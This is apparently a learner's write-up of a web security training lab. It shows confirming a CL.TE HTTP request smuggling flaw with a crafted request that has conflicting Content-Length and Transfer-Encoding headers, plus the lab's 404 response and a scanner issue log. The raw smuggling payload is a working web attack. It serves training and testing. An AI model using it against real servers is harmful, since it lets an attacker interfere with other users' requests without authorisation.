HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Description

To confirm a CL.TE vulnerability, you would send an attack request like this:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

If the attack is successful, then the last two lines of this request are treated by the back-end server as belonging to the next request that is received. This will cause the subsequent "normal" request to look like this:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Since this request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it.

Lab

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for `/` (the web root) triggers a 404 Not Found response.

I used the template from the academy lesson for this

Request

Pretty Raw Hex Hackvertor

```
1  POST /search HTTP/1.1 \r \n
2  Host: 0aa400d404b68df8c1a022b800630069.web-security-academy.net \r \n
3  Content-Type: application/x-www-form-urlencoded \r \n
4  Content-Length: 49 \r \n
5  Transfer-Encoding: chunked \r \n
6  \r \n
7  e \r \n
8  q=smuggling&x= \r \n
9  0 \r \n
10 \r \n
11 GET /404 HTTP/1.1 \r \n
12 Foo: x \r \n
13 \r \n
14
```

Outcome

Response

Pretty Raw Hex Render Hackvertor

```
1  HTTP/1.1 404 Not Found
2  Content-Type: application/json; charset=utf-8
3  Set-Cookie: session=scjp3DKLb8e0Bi31IgsZKAla0mahcLpz
4  Connection: close
5  Content-Length: 11
6
7  "Not Found"
```

Congratulations, you solved the lab!

Using the smuggle probe yields output like this

Issue activity

Filter: High Medium Low Info | Certain Firm Tentative

#	Task	Time	Action	Issue type
68	0	21:34:34 24 Sep 2022	Issue found	HTTP Request Smuggling Confirmed: bodyConcat -multiCase
67	0	21:34:31 24 Sep 2022	Issue found	HTTP Request Smuggling Confirmed: headerConcat -multiCase
66	0	21:34:29 24 Sep 2022	Issue found	HTTP Request Smuggling Confirmed: FOO -multiCase
65	0	21:34:21 24 Sep 2022	Issue found	Possible HTTP Request Smuggling: CL.TE multiCase (delayed r...
64	2	21:30:29 24 Sep 2022	Issue found	Cacheable HTTPS response